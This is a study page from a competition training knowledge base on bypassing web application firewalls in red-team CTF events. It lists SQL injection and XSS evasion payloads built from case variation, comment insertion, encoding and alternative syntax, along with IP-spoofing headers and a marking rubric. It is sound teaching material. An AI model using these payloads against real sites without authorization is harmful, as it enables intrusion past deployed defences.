WAF Bypass Techniques

Scope

What this is: Evading Web Application Firewalls that block common attack payloads.

Competition relevance: Offensive operations (red team CTF), from squad selection up. Advanced exploitation when basic payloads are blocked.

Why it matters: Modern web apps deploy WAFs. Exploitation requires bypass techniques.

WSOS 2026 alignment: Supports Section 6: Operations and management (advanced evasion).

Competition area: Part of the offensive operations area, demonstrating advanced exploitation techniques.

Offline competence: WAF bypass requires no special tools. Use Burp Suite offline. Maintain offline bypass technique list.

---

Competency Matrix

Level	Expectation
Regional/National	Not typically required. Focus on unprotected vulnerabilities.
Squad/Team Selection	Basic WAF bypass (case variation, encoding, comment insertion).
International	Advanced bypass (protocol smuggling, polyglots, timing attacks).

---

Technical Content

Case Variation

SQL injection:

-- Blocked
UNION SELECT

-- Try
UnIoN SeLeCt
uNiOn sElEcT

XSS:

<!-- Blocked -->
<script>

<!-- Try -->
<ScRiPt>
<SCRIPT>

---

Comment Insertion

SQL:

-- Blocked
UNION SELECT

-- Try
UN/**/ION SE/**/LECT
UN/*comment*/ION/*comment*/SE/*comment*/LECT

XSS:

<scr<!---->ipt>
<scr<!--comment-->ipt>

---

Encoding

URL encoding:

%3Cscript%3E  # <script>
%55NION %53ELECT  # UNION SELECT

Double encoding:

%253Cscript%253E  # %3Cscript%3E → <script>

Unicode:

\u003cscript\u003e  # <script>

---

Alternative Syntax

SQL:

-- Instead of spaces
UNION+SELECT
UNION%0ASELECT  # newline
UNION%09SELECT  # tab

-- Alternative operators
'||'1'='1  # instead of ' OR '1'='1

XSS:

<img src=x onerror=alert(1)>  # instead of <script>
<svg onload=alert(1)>
<body onload=alert(1)>

---

Header Manipulation

IP spoofing to bypass IP-based blocks:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

User-Agent variation:

• Change to legitimate browser UA
• Or remove entirely

---

Competition Strategy & Marking

What gets marked:

• Successful bypass of WAF
• Exploitation completed despite protection
• Documentation of bypass technique

Evidence requirements:

• Screenshot showing WAF block message (before bypass)
• Screenshot showing successful exploitation (after bypass)
• Payload used for bypass

Evidence and reporting requirements:

• Screenshot showing WAF detection (403 Forbidden, WAF block page)
• Screenshot showing successful bypass technique used
• Payload that bypassed the WAF with exact syntax
• Method used: case variation, encoding, comment injection, etc.
• Screenshot showing successful exploitation after WAF bypass
• Written explanation of bypass technique and why it worked
• Clear file naming: waf_blocked.png, waf_bypass_payload.png, waf_success.png Time allocation:
• Identifying WAF: 5 minutes
• Testing bypass techniques: 15-20 minutes
• Don’t spend more than 20 minutes - may not be intended path

Time-boxed drill suggestion: 25-minute WAF bypass challenge: Given a web application protected by a WAF that blocks common XSS/SQLi payloads, identify the WAF type, test various bypass techniques (case variation, encoding, comment injection, alternative syntax), successfully bypass the WAF to deliver a working payload, and document the bypass method with screenshots showing initial block and successful bypass.

---

False Flags / Wrong Paths

Common Traps

WAF is unbypassable If 10+ bypass attempts fail, vulnerability may not exist. Move on.

Rate limiting vs WAF Being rate-limited isn’t same as WAF. Slow down requests.

Over-encoding breaks payload Too much encoding makes payload non-functional. Test incrementally.

---

Practice Checklist

• Can identify WAF presence
• Can bypass using case variation
• Can bypass using comment insertion
• Can bypass using encoding
• Can use alternative syntax
• Know when to move on (time-boxing)

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../../00-roadmaps/ for module-specific guidance

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references and tool documentation